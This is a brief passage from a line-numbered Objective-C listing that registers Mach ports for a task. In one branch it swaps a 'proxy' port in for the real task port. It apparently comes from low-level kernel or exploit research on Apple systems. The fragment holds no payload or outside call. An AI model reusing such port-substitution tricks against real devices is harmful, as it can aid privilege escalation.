= mach_ports_register(task, NULL, 0); 490 | #else 491 | // We can do this: 492 | *realport = task; 493 | ret = mach_ports_register(proxy, NULL, 0); 494 | #endif 495 | NSLog(@"mach_ports_register: %s", mach_error_string(ret)); 496 | } 497 | --------------------------------------------------------------------------------